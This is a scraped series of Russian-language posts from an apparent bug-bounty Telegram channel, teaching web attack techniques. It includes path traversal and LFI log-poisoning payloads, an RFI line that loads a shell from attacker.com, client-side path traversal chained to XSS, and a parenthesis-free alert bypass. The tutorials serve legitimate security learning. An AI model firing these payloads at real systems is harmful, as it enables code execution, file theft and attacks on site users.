Path traversal первого порядка — это когда вы напрямую передаёте путь вида
../../etc/passwd, и сервер сразу интерпретирует его.Второй порядок — это когда:
1️⃣ Вы передаёте путь, который сначала сохраняется как строка или используется как параметр.
2️⃣ Он ещё не интерпретируется полностью.
3️⃣ Затем этот путь используется в другом сервисе/компоненте, где он декодируется заново или интерпретируется иначе.
Уровень сложности: 🪲🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11❤3🔥3
🎯 Создание кастомных словарей для багбаунти
Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.
Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.
⏳ Что включить в кастомный словарь
1️⃣ Список слов для конкретной компании:
🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:
🔹 Токенизация URL-адресов с помощью tok:
🔹 Парсинг ключевых слов из JS-файлов:
2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.
3️⃣ Включение часто встречающихся ключевых слов —
4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.
💡 Применение:
• Брутфорс виртуальных хостов и параметров
• Обнаружение контента
P.S. При подготовке поста вдохновлялись статьей от Intigriti.
Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.
Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.
1️⃣ Список слов для конкретной компании:
🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:
$ cewl https://example.com --header "Cookie: PHPSESSID=7a9b.." -d 5 -m 4
🔹 Токенизация URL-адресов с помощью tok:
$ cat urls.txt | tok
🔹 Парсинг ключевых слов из JS-файлов:
$ cat js-urls.txt | python3 getjswords.py
2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.
3️⃣ Включение часто встречающихся ключевых слов —
api, admin, assets, profile, debug, id, и т. д. Отличная база у JHaddix.4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.
• Брутфорс виртуальных хостов и параметров
• Обнаружение контента
P.S. При подготовке поста вдохновлялись статьей от Intigriti.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤5
Безопасность электронной почты — это больше, чем спам и фишинговые атаки. В любом веб-приложении — это:
Выше привели несколько примеров пэйлоада для выявления багов, связанных с обработкой email-адресов в веб-приложениях.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤5🤔1
Если XSS недоступна, но на странице уже есть форма с валидным CSRF-токеном, можно использовать HTML-инъекцию с помощью атрибута
form=.Все просто: привязываем внешние
<input> и <button> к существующей форме по id — они попадут в POST-запрос при сабмите. Более того, кнопка может иметь свой formaction=, который перезапишет action формы, сохранив при этом CSRF-токен.formnovalidate= — позволяет игнорировать правила валидации формы. Полезно, если исходная форма заполнена не полностью, но нужно отправить запрос.formmethod= — меняет метод отправки формы, например, с GET на POST.formenctype= — задаёт тип кодирования данных, например multipart/form-data или text/plain. К сожалению, с его помощью всё ещё сложно отправлять валидный JSON в теле запроса.formtarget= — позволяет перенаправить ответ формы не в основное окно браузера, а в iframe с указанным id=, чтобы скрыть результат отправки от жертвы.Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤2🔥2
🔓 От чтения к выполнению: когда доступ к файлу становится критическим
Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:
▪️ Path Traversal позволяет читать файлы вне рабочей директории, например
▪️ Arbitrary File Read идёт дальше: можно читать любой файл, независимо от пути. Всё, что приложение даст открыть — ваше.
💨 Когда чтение превращается в выполнение → Local File Inclusion
Если приложение не только читает, но и включает файл (например, через
Классика:
Передаём:
А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.
💨 Remote File Inclusion
RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:
Сейчас
💡 Цепочки атак: когда пазл складывается
▪️ Path Traversal → читаем конфиги → находим внутренние эндпоинты/креды → SSRF/обход аутентификации
▪️ File write → включение пэйлоада через LFI → RCE
▪️ Инжект в лог → включение логов через LFI → RCE
Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:
../../../../etc/passwd.Если приложение не только читает, но и включает файл (например, через
include($_GET['page']) в PHP), открывается дверь в LFI.Классика:
<?php
include($_GET['page']); // уязвимо
?>
Передаём:
?page=../../../../var/log/apache2/access.log
А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.
RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:
?page=http://attacker.com/shell.txt
Сейчас
allow_url_include часто выключен, но уязвимости живут в JS/Python, где делают eval(fetch(url)) или что-то похуже.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11
Многие багхантеры полагаются только на перебор или простые кейсы при поиске IDOR, при этом упускают некоторые нестандартные способы
1️⃣ Утечка UUID на уровне приложения
Есть ли в приложении функционал, где UUID может «засветиться» публично (например, таймлайн, история изменений, активности и т. д.) ?
Можно ли дать кому-то доступ к объекту с этим UUID, а потом забрать? Часто UUID всё ещё остаётся в логах, уведомлениях и т. п.
2️⃣ Получение UUID легитимным способом
Обычно это лучший способ добыть нужный UUID. Пользователи ведь не вводят UUID вручную — они вводят email, имя и т. д.
Если в приложении есть формы, которые принимают публичную инфу (email и т. д.) и возвращают UUID, то это золото.
3️⃣ Наследие старых ID
До UUID часто использовались числовые ID. Иногда в JSON-ответах всё ещё можно увидеть старые поля (
id: 123, uuid: ...).Бывает, что можно подставить старый числовой ID вместо UUID — и это срабатывает.
4️⃣ Утечка через пути
Можно ли каким-то способом вытащить внутренние пути приложения? Иногда помогает слабая политика referrer, открытые metadata-эндпоинты, где можно увидеть роуты и UUID внутри путей.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤3
⚒️ Автоматизация поиска Client-Side Path Traversals
CSPT — техника, известная с 2007 года, но не все багхантеры с ней знакомы. Давайте это исправим!
Представьте страницу профиля, которая всегда возвращает один и тот же HTML, но в URL есть параметр
Часто багхантеры пытаются найти IDOR, меняя
Если браузер запросит
🤔 Почему это важно?
Потому что теперь вы можете заставить браузер жертвы делать запросы по произвольным путям, что открывает путь для цепочек уязвимостей — например, XSS через поддельный ответ API.
➡️ Анализ ответа
Если мы перехватим запрос и проверим ответ, то можем увидеть что-то вроде:
Что бы мы могли сделать, если бы могли контролировать ответ на этот запрос? По сути, мы могли бы создать ссылку, которая при нажатии жертвы отправляла бы запрос в API, который затем возвращал бы контент, который мы контролируем.
Ценность контроля над этим контентом зависит от того, что с ним делает приложение. В нашем примере
➡️ Open redirects
Если на сервере есть open redirect, можно заставить браузер сходить на внешний контролируемый ресурс и вернуть вредоносный контент.
Пример:
— теперь ответ API контролируем мы, и можно пытаться эксплуатировать ту же самую XSS.
💡 Автоматизация
Chrome-расширение Gecko перехватывает все запросы, анализирует URL вкладки и проверяет, отражается ли часть текущего URL в запросах — признак CSPT:
▪️ Сервис-воркер слушает запросы (
▪️ Проверяет совпадения путей и параметров
▪️ Хранит данные в локальном хранилище
▪️ Показывает результаты в DevTools-панели и через всплывающее окно
▪️ Поддерживает частичное совпадение, чтобы ловить случаи с расширениями файлов и вариациями путей
CSPT — техника, известная с 2007 года, но не все багхантеры с ней знакомы. Давайте это исправим!
Представьте страницу профиля, которая всегда возвращает один и тот же HTML, но в URL есть параметр
id. Скрипт на клиенте делает запрос к API по этому id, например: example.com/profile?id=10 → браузер делает запрос к example.com/api/users/10 и подставляет данные.
Часто багхантеры пытаются найти IDOR, меняя
id, но мало кто смотрит, что браузер делает отдельный запрос к API. А если подставить путь с traversal-паттернами, например id=../../hello? Если браузер запросит
example.com/hello — значит есть возможность управлять путями в запросах с клиента!Потому что теперь вы можете заставить браузер жертвы делать запросы по произвольным путям, что открывает путь для цепочек уязвимостей — например, XSS через поддельный ответ API.
Если мы перехватим запрос и проверим ответ, то можем увидеть что-то вроде:
{
"id": 10,
"name": "John Doe",
"pic": "images.example.com/pic-12345.jpg"
}Что бы мы могли сделать, если бы могли контролировать ответ на этот запрос? По сути, мы могли бы создать ссылку, которая при нажатии жертвы отправляла бы запрос в API, который затем возвращал бы контент, который мы контролируем.
Ценность контроля над этим контентом зависит от того, что с ним делает приложение. В нашем примере
pic используется как src тега <img>, а значит, появляется возможность эксплуатации XSS.Если на сервере есть open redirect, можно заставить браузер сходить на внешний контролируемый ресурс и вернуть вредоносный контент.
Пример:
/profile?id=../../redirect%3Furl%3Dxss.example.com
— теперь ответ API контролируем мы, и можно пытаться эксплуатировать ту же самую XSS.
Chrome-расширение Gecko перехватывает все запросы, анализирует URL вкладки и проверяет, отражается ли часть текущего URL в запросах — признак CSPT:
chrome.webRequest.onBeforeRequest)Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥9🔥3❤2🦄1
WAF фильтрует скобки? Вот как это обойти 👆
onerror=alert назначает alert глобальным обработчиком ошибок, а затем throw 1 выбрасывает ошибку. Эта ошибка перехватывается обработчиком onerror… которым и является alert!Таким образом,
alert(1) срабатывает без использования скобок 😎Please open Telegram to view this post
VIEW IN TELEGRAM
❤16🔥8
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍7❤3
Автоматизация должна охватывать ядро приложения и собирать максимум данных. Основной метод — упор на пассивном скане, чтобы не создавать много шума. Собранная информация помогает лучше понять приложение и улучшить активную автоматизацию.
Пассивные сканеры анализируют результаты активных: если активный вызвал ошибку, пассивный её найдёт и покажет в дашборде.
Ответы от прокси идут и активным, и пассивным сканерам. Ответы с репитера и расширений — только пассивным. Это обеспечивает плавный и синхронизированный процесс.
👉 Активный скан: не взломать все, а максимально покрыть функционал
👉 Пассивный скан — второй уровень обнаружения для глубокого анализа ответов и поиска пропущенного активным сканером
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤1👍1